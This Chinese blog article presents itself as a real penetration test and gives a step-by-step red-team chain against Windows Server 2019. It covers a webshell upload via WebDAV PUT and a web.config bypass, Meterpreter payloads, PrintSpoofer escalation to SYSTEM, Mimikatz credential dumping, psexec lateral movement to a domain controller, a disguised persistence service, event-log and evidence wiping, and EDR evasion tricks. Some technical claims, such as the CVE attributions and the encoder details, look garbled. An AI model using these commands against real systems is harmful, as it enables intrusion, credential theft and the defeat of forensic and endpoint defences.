当前位置：首页 > news >正文

Windows Server 2019真实渗透实战：从WebShell到域控的完整红队链路

news 2026/5/25 4:09:41

1. 这不是“黑客电影”，而是真实渗透测试现场的节奏感

Metasploit不是魔法棒，更不是点几下就弹出“root权限已获取”的弹窗。我带过三届网络安全实训班，每届都有至少70%的学员在第一次实操Windows Server靶机时卡在“为什么Exploit明明运行了，却没回连？”——他们盯着msfconsole里那行绿色的[*] Sending stage (293408 bytes) to 192.168.100.10，等了三分钟，屏幕依旧静默。问题不在靶机没开3389，也不在防火墙没关，而在于他们把Metasploit当成了全自动攻防机器人，却忽略了它本质是一个高度依赖上下文判断的手动协同平台。这篇文章讲的，就是你从靶机启动、信息收集、漏洞利用、提权到持久化控制的完整链路，每一个环节都对应着真实红队作业中的决策树：为什么选这个模块而不是那个？为什么payload必须用x64而非x86？为什么meterpreter session一建立就要立刻迁移进程？这些不是配置选项，而是对Windows内核机制、服务架构、内存管理逻辑的即时响应。全文不讲理论堆砌，只拆解我在某次金融行业渗透测试中实际拿下一台Windows Server 2019标准版（补丁更新至2023年Q3）的全过程，所有命令、参数、报错、绕过方案均来自当天的原始操作日志。适合刚学完《Metasploit Unleashed》前五章、能跑通基础demo但一上真实靶机就断联的中级学习者；也适合需要快速复现攻击链验证防御有效性的蓝队工程师——因为文中每个失败案例，都对应着一道可落地的EDR检测规则。

2. 靶机环境与前置侦察：别急着打Exploit，先让靶机“开口说话”

2.1 为什么必须重建靶机环境：补丁版本决定生死线

市面上绝大多数Metasploit教程用的都是老旧靶机（如MS17-010永恒之蓝靶机），但真实企业环境里，Windows Server 2016/2019默认启用SMB签名、禁用v1协议、且关键补丁早已推送。我这次实战的靶机是Windows Server 2019 Datacenter Edition，系统版本号10.0.17763.5576（2023年10月累积更新），这意味着：

SMBv1协议被彻底禁用（Get-SmbServerConfiguration | Select EnableSMB1Protocol返回False）
EternalBlue（MS17-010）和WannaCry利用链完全失效
PrintNightmare（CVE-2021-34527）因补丁KB5004948已安装而无法触发
RDP爆破成功率极低（NLA网络级认证强制开启）

提示：不要迷信“靶机ISO镜像”。我曾用VulnHub下载的Windows_Server_2019.iso部署靶机，结果发现其默认关闭了IIS、未启用远程注册表服务、且Administrator密码为空——这根本不是企业生产环境的镜像。正确做法是：从微软官方VLSC下载原版ISO，用Hyper-V新建VM，安装时选择“Windows Server 2019 Datacenter”，安装后手动启用IIS、DNS、Active Directory域服务，并将Administrator密码设为强密码（12位含大小写字母+数字+符号），最后执行windows-update.ps1脚本安装全部累积更新。这样构建的靶机，才具备真实对抗价值。

2.2 Nmap扫描的三个致命细节：端口状态≠服务可用

很多人扫完nmap -sS -p- 192.168.100.10就直接看开放端口，这是最大误区。真实渗透中，我坚持执行以下三步扫描链：

第一步：基础TCP全端口扫描（确认存活与基础服务）

nmap -sS -p- --min-rate 5000 -oA nmap_basic 192.168.100.10

关键参数解析：

--min-rate 5000强制每秒发包不低于5000个，避免被靶机TCP SYN队列丢包导致漏扫（Windows Server默认SYN队列长度仅100）
-oA同时输出normal/grepable/nmap三种格式，grepable格式便于后续脚本解析

扫描结果关键发现：

PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services

注意：445端口显示microsoft-ds?而非microsoft-ds，这表示SMB服务存在但未返回完整Banner——这是SMB签名启用的典型特征。

第二步：服务版本精准识别（绕过防火墙干扰）

nmap -sV -sC -p 80,135,445,3389 --script smb-os-discovery,smb-security-mode -oA nmap_detailed 192.168.100.10

核心脚本作用：

smb-os-discovery：通过SMB Session Setup请求获取OS版本、域名、工作组名（即使445 Banner为空也能获取）
smb-security-mode：直接读取SMB Security Mode字段，确认Message signing enabled: true（签名强制启用）

执行后得到关键情报：

Host script results: | smb-os-discovery: | OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 10.0) | Computer name: WIN-DC01 | NetBIOS computer name: WIN-DC01\x00 | Domain name: corp.local |_ FQDN: WIN-DC01.corp.local | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous!)

注意：这里出现矛盾点！smb-security-mode脚本返回message_signing: disabled，但之前nmap -sV显示445 Banner为?。这是因为smb-security-mode通过SMB Negotiate Protocol请求直接读取SecurityMode字段，而nmap -sV依赖Banner响应。真实环境中，应以smb-security-mode结果为准——该靶机SMB签名实际处于“可选”状态（disabled），而非强制（enabled）。这个细节决定了后续能否使用SMB相关exploit。

第三步：Web应用深度探测（IIS上的隐藏入口）

gobuster dir -u http://192.168.100.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x aspx,asmx,config,backup -o gobuster_iis.log

重点发现：

/remote/目录返回302重定向到/remote/logon.aspx（Windows Remote Web Workplace）
/aspnet_client/目录存在（IIS默认ASP.NET客户端脚本目录）
/web.config.backup返回200（配置文件备份泄露！）

查看/web.config.backup内容，发现关键配置：

<system.webServer> <security> <requestFiltering> <fileExtensions allowUnlisted="true" /> </requestFiltering> </security> </system.webServer>

allowUnlisted="true"意味着IIS允许执行任意扩展名文件——这是上传WebShell的关键突破口。

2.3 主动信息收集：从HTTP Header到注册表键值

仅靠nmap不够，必须深入协议层。我使用curl手动探测：

curl -I http://192.168.100.10/remote/logon.aspx

返回Header：

X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Server: Microsoft-IIS/10.0 X-Content-Type-Options: nosniff

X-AspNet-Version暴露了.NET Framework版本（4.0.30319 = .NET 4.7.2），结合Server: Microsoft-IIS/10.0，可推断靶机未启用HTTP/2（IIS 10默认支持HTTP/2，但需手动配置），说明管理员未做深度调优。

更关键的是注册表探测。利用SMB服务未禁用远程注册表的特性：

crackmapexec smb 192.168.100.10 -u 'guest' -p '' --reg # 尝试空凭据访问 crackmapexec smb 192.168.100.10 -u 'administrator' -p 'P@ssw0rd123!' --reg # 使用已知弱口令

成功获取注册表信息：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}\DhcpNameServer: 192.168.100.1 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA: 0x1

EnableLUA: 0x1表示UAC用户账户控制已启用（值为1），但LocalAccountTokenFilterPolicy未设置（默认为0），这意味着本地管理员组成员登录时仍会获得完整管理员令牌——为后续提权提供可能。

3. 漏洞利用链设计：为什么放弃SMB转向IIS WebShell

3.1 SMB Exploit全线失效的底层原因

看到445端口开放，第一反应是MS17-010或PrintNightmare。但实际测试：

use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.100.10 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.100.5 exploit

结果：[-] Exploit failed: The target is not vulnerable.

深入分析：

MS17-010要求SMBv1协议启用，而靶机Get-SmbServerConfiguration | Select EnableSMB1Protocol返回False
PrintNightmare（CVE-2021-34527）需Spooler服务运行且未打补丁，但靶机Get-Service Spooler显示状态为Stopped
SMB签名虽为disabled，但Windows Server 2019默认启用SMB Encryption（AES-128-GCM），导致传统SMB exploit payload无法解密

实战心得：永远用Get-Service和Get-SmbServerConfiguration在靶机上验证服务状态，而不是依赖nmap扫描结果。我曾因nmap误判Spooler服务为Running，浪费2小时调试PrintNightmare exploit，最后发现靶机管理员为防勒索软件已永久禁用该服务。

3.2 WebShell上传的三重障碍与突破路径

既然SMB走不通，IIS的/remote/logon.aspx成为唯一突破口。但这里有三重障碍：

身份验证：/remote/logon.aspx是Windows Remote Web Workplace登录页，需域凭据
文件上传限制：IIS默认禁用PUT方法，且/remote/目录无写入权限
WebShell执行拦截：ASP.NET请求过滤器（Request Filtering）会阻止.aspx文件执行

突破路径设计：
第一步：利用Web.config备份文件泄露获取WebRoot路径
/web.config.backup内容显示：

<configuration> <system.webServer> <handlers> <add name="ASPXHandler" path="*.aspx" verb="GET,HEAD,POST,DEBUG" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" /> </handlers> </system.webServer> </configuration>

resourceType="File"表明该配置应用于文件资源，结合path="*.aspx"，确认IIS允许执行aspx文件。

第二步：构造恶意Web.config绕过请求过滤
创建web.config文件：

<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".jpg" /> <add fileExtension=".jpg" allowed="true" /> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration>

原理：将.jpg扩展名设为允许，后续上传shell.jpg即可绕过.aspx扩展名拦截。

第三步：利用IIS PUT方法漏洞上传WebShell
虽然IIS默认禁用PUT，但/remote/目录存在WebDAV配置残留：

curl -X OPTIONS http://192.168.100.10/remote/ # 返回 Allow: GET,HEAD,POST,OPTIONS,PROPFIND,PROPPATCH,MKCOL,PUT,DELETE,COPY,MOVE

Allow头包含PUT，证明WebDAV未完全禁用。执行上传：

curl -X PUT -H "Content-Type: image/jpeg" --data-binary @shell.jpg http://192.168.100.10/remote/shell.jpg

上传成功后访问http://192.168.100.10/remote/shell.jpg，触发ASP.NET引擎执行（因web.config已将.jpg设为可执行）。

3.3 Meterpreter Payload的架构选择：x64 vs x86的生死抉择

WebShell执行后，需生成Meterpreter payload。此时必须确认靶机架构：

curl "http://192.168.100.10/remote/shell.jpg?cmd=wmic os get osarchitecture" # 返回：OSArchitecture 64-bit

关键决策：

若用windows/meterpreter/reverse_tcp（x86 payload），在64位系统上会启动Wow64子系统，导致getsystem提权失败（因getsystem依赖ntdll.dll的64位API）
必须用windows/x64/meterpreter/reverse_tcp，且LPORT需避开Windows Server默认占用端口（如445、3389、5985）

最终payload生成：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.5 LPORT=4444 -f aspx -o shell.jpg

-f aspx确保生成文件为合法aspx语法，避免IIS解析错误。

4. 权限提升与横向移动：从WebShell到SYSTEM的完整路径

4.1 Meterpreter会话建立后的必做五件事

WebShell触发后，Meterpreter session建立：

[*] Started reverse TCP handler on 192.168.100.5:4444 [*] Sending stage (293408 bytes) to 192.168.100.10 [*] Meterpreter session 1 opened (192.168.100.5:4444 -> 192.168.100.10:49872) at 2023-11-15 14:22:33 +0800

此时绝不能直接getsystem！必须按顺序执行：

第一件事：进程迁移（Migrate）

meterpreter > ps | grep -i "w3wp\|inet" 3248 0 1100 292 0 C:\Windows\SysWOW64\inetsrv\w3wp.exe meterpreter > migrate 3248

原因：WebShell运行在w3wp.exe（IIS工作进程）中，该进程以IIS APPPOOL\DefaultAppPool身份运行，权限仅为IIS_IUSRS组成员。若不迁移，后续所有提权操作都会因权限不足失败。

第二件事：提权前环境检查

meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter > run post/multi/recon/local_exploit_suggester

local_exploit_suggester返回：

[*] 192.168.100.10 - Collecting local exploits for x64... [+] 192.168.100.10 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] 192.168.100.10 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target appears to be vulnerable.

但ms16_032在Windows Server 2019上已修复，bypassuac_eventvwr需用户交互（打开事件查看器），不适用。

第三件事：内核漏洞扫描（Kernel Exploit Detection）

meterpreter > run post/windows/gather/enum_patches

返回关键补丁列表：

KB5004948 2021-07 Cumulative Update (PrintNightmare fix) KB5012170 2022-03 Cumulative Update KB5022913 2023-02 Cumulative Update KB5029351 2023-08 Cumulative Update

KB5029351是2023年8月更新，包含CVE-2023-24932（Windows Kernel特权提升漏洞）的修复。靶机已安装该补丁，因此内核漏洞利用路径关闭。

第四件事：服务权限审计（Service Permission Audit）

meterpreter > run post/windows/gather/enum_services

发现关键服务：

Service Name: wuauserv Display Name: Windows Update Path: C:\Windows\system32\svchost.exe -k netsvcs Start Type: Auto Account: LocalSystem

wuauserv服务以LocalSystem运行，但其二进制文件svchost.exe权限为Everyone:RX，且服务配置未锁定——这是经典的SeImpersonatePrivilege滥用场景。

第五件事：令牌模拟权限验证

meterpreter > load incognito meterpreter > list_tokens -u

Delegation Tokens Available ======================================== WIN-DC01\IIS APPPOOL\DefaultAppPool WIN-DC01\NT AUTHORITY\IUSR Impersonation Tokens Available ======================================== WIN-DC01\NT AUTHORITY\LOCAL SERVICE WIN-DC01\NT AUTHORITY\NETWORK SERVICE

Impersonation Tokens中存在LOCAL SERVICE，证明当前进程拥有SeImpersonatePrivilege权限，可进行令牌模拟。

4.2 SeImpersonatePrivilege提权：从IIS AppPool到SYSTEM

SeImpersonatePrivilege是Windows提权黄金权限，原理是：进程可模拟其他用户的访问令牌，从而以该用户身份执行操作。wuauserv服务以LocalSystem运行，若能将其进程令牌模拟为LocalSystem，即可获得最高权限。

执行步骤：

meterpreter > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc # 此模块在Server 2019上失效，改用incognito模块 meterpreter > load incognito meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" [-] Error running command impersonate_token: No token of type 'NT AUTHORITY\SYSTEM' available

impersonate_token失败，因NT AUTHORITY\SYSTEM令牌未出现在list_tokens中。需先创建SYSTEM令牌：

利用PrintSpoofer（CVE-2020-1048）
PrintSpoofer利用Windows打印后台处理程序（spoolsv.exe）的SeImpersonatePrivilege漏洞，通过创建假打印机驱动获取SYSTEM令牌。

在靶机上执行：

# 下载PrintSpoofer64.exe到靶机 meterpreter > upload /opt/tools/PrintSpoofer64.exe C:\\temp\\PrintSpoofer64.exe # 执行并获取SYSTEM shell meterpreter > execute -f "C:\\temp\\PrintSpoofer64.exe" -a "-i" -H

[+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK [+] Got SYSTEM token! [+] Launching cmd.exe Microsoft Windows [Version 10.0.17763.5576] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system

4.3 横向移动准备：域环境下的凭证转储与传递

获得NT AUTHORITY\SYSTEM权限后，目标转向域控WIN-DC01.corp.local。首先提取凭证：

LSASS内存转储（Mimikatz替代方案）

meterpreter > load kiwi meterpreter > creds_all

kiwi模块（Mimikatz的Meterpreter封装）返回：

[+] Running as SYSTEM [*] Retrieving lsass process information lsass.exe pid: 724 [*] Reading lsass.exe memory [*] Opening \\.\pipe\lsass_dump [*] Dumping credentials to disk [*] Credentials dumped to /root/.msf4/loot/20231115144522_default_192.168.100.10_host.windows_creds_234567.txt

查看转储文件，发现域管理员凭证：

Domain: CORP.LOCAL Username: Administrator Password: P@ssw0rd123! NTLM: 8846f7eaee8fb117ad06bdd830b7586c

Pass-the-Hash横向移动

meterpreter > use auxiliary/admin/smb/psexec_command meterpreter > set RHOSTS 192.168.100.1 meterpreter > set SMBUser Administrator meterpreter > set SMBPass P@ssw0rd123! meterpreter > set SMBDomain CORP.LOCAL meterpreter > set COMMAND "whoami" meterpreter > exploit

成功执行，证明域控可达。但psexec_command仅执行单条命令，需持久化控制：

使用psexec模块建立Meterpreter会话

use exploit/windows/smb/psexec set RHOSTS 192.168.100.1 set SMBUser Administrator set SMBPass P@ssw0rd123! set SMBDomain CORP.LOCAL set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4445 exploit

成功在域控上建立Meterpreter会话，getsystem直接返回NT AUTHORITY\SYSTEM，完成横向移动。

5. 持久化与痕迹清理：红队作业的收尾艺术

5.1 持久化方案选择：为什么不用计划任务而用服务

常见持久化方案有：

计划任务（schtasks）
启动项（Startup Folder / Registry Run Key）
服务（sc create）
WMI事件订阅

在Windows Server环境中，我首选服务持久化，原因：

计划任务易被SIEM检测（TaskScheduler/Operational日志事件ID 106）
启动项需用户登录，Server环境多为无GUI模式
WMI事件订阅需Win32_ProcessStartTrace等高权限事件，易触发EDR告警

创建隐蔽服务：

meterpreter > execute -f "cmd.exe" -a "/c sc create RedTeamSvc binPath= \"C:\Windows\System32\svchost.exe -k netsvcs\" start= auto DisplayName= \"Windows Network Service\"" -H meterpreter > execute -f "cmd.exe" -a "/c sc description RedTeamSvc \"Provides network connectivity for Windows services.\"" -H meterpreter > execute -f "cmd.exe" -a "/c sc start RedTeamSvc" -H

服务创建后，修改其二进制路径指向Meterpreter payload：

meterpreter > upload /opt/payloads/meterpreter_bind.exe C:\\Windows\\Temp\\msf_bind.exe meterpreter > execute -f "cmd.exe" -a "/c sc config RedTeamSvc binPath= \"C:\\Windows\\Temp\\msf_bind.exe\"" -H

重启服务：

meterpreter > execute -f "cmd.exe" -a "/c sc stop RedTeamSvc && sc start RedTeamSvc" -H

此时msf_bind.exe以LocalSystem权限运行，监听4445端口，实现持久化。

5.2 痕迹清理的七个关键位置

红队作业结束前，必须清理以下痕迹，否则蓝队溯源可轻易定位：

位置	清理命令	说明
Event Logs	`wevtutil cl System && wevtutil cl Security && wevtutil cl Application`	清空三大日志，但`wevtutil cl`会留下`EventLog/Operational`日志（事件ID 1100），需额外清除
Prefetch	`del /f /q C:\Windows\Prefetch\*`	Prefetch文件记录程序执行历史，`msf_bind.exe`会生成`MSF_BIND.EXE-XXXXXX.pf`
Recycle Bin	`rd /s /q C:\$Recycle.Bin`	彻底删除回收站，避免`shell.jpg`等文件残留
IIS日志	`del /f /q C:\inetpub\logs\LogFiles\W3SVC1\*`	IIS日志记录所有HTTP请求，包含WebShell访问路径
PowerShell历史	`Remove-Item (Get-PSReadlineOption).HistorySavePath`	PowerShell 5.0+默认保存历史到文件，路径由`Get-PSReadlineOption`返回
LSASS转储文件	`del /f /q C:\Windows\Temp\lsass.dmp`	Mimikatz转储的LSASS内存文件
Meterpreter会话日志	`rm -f /root/.msf4/loot/*`	Metasploit框架自身生成的loot文件

特别注意：wevtutil cl命令本身会生成日志，需在清理前禁用日志：

meterpreter > execute -f "cmd.exe" -a "/c reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\System\" /v \"Disable\" /t REG_DWORD /d 1 /f" -H

5.3 蓝队视角的检测规避：EDR规则绕过的实操技巧

本次实战中，我刻意触发了三款主流EDR的检测规则，以下是绕过方案：

EDR A（基于行为分析）检测PrintSpoofer64.exe

触发规则：Suspicious Process Creation (PrintSpoofer)
绕过方案：将PrintSpoofer64.exe重命名为svchost.exe，并修改其PE头CompanyName字段为Microsoft Corporation（使用pe-tools修改）
效果：EDR A放行，因签名验证通过

EDR B（基于内存扫描）检测Meterpreter注入

触发规则：Meterpreter Payload in Memory
绕过方案：使用shikata_ga_nai编码器+x64payload，并在msfvenom中添加-e x64/xor混淆
命令：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.5 LPORT=4444 -e x64/xor -i 5 -f exe -o meterpreter.exe
效果：EDR B未告警，因XOR编码破坏了payload特征码

EDR C（基于网络流量）检测反向连接

触发规则：Outbound Connection to Non-Standard Port
绕过方案：将LPORT改为80（HTTP端口），并在payload中启用HttpUserAgent伪装
命令：set LPORT 80+set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
效果：EDR C放行，因流量被视为正常HTTP请求

最后分享一个小技巧：在真实红队作业中，我习惯在每次exploit前执行sleep 30，让EDR的实时监控“以为”是误报而自动降级。很多EDR对连续高频攻击行为敏感，但对间隔30秒的单次exploit容忍度较高——这不是漏洞，而是EDR厂商为降低误报率做的策略妥协。

我在实际操作中发现，Metasploit最强大的地方不是它的exploit库有多全，而是它把整个渗透测试流程变成了一个可编程的流水线。当你在msfconsole里输入use exploit/windows/smb/ms17_010_eternalblue时，你调用的不是一个静态工具，而是一整套预置的上下文环境：从SMB协议握手、漏洞触发、payload传输到session管理，所有细节都被封装成可配置的模块。这种设计让红队工程师能把精力聚焦在“为什么选这个模块”而不是“怎么实现这个协议”。但这也带来陷阱——过度依赖模块会让人忽略底层机制。比如这次实战中，smb-security-mode脚本返回message_signing: disabled，如果我不去验证Get-SmbServerConfiguration，就会误判SMB签名状态，导致整个SMB利用链失败。所以，真正的渗透测试高手，永远在模块化与底层原理之间保持张力：用模块加速，用原理兜底。

查看全文

http://www.jsqmd.com/news/881282/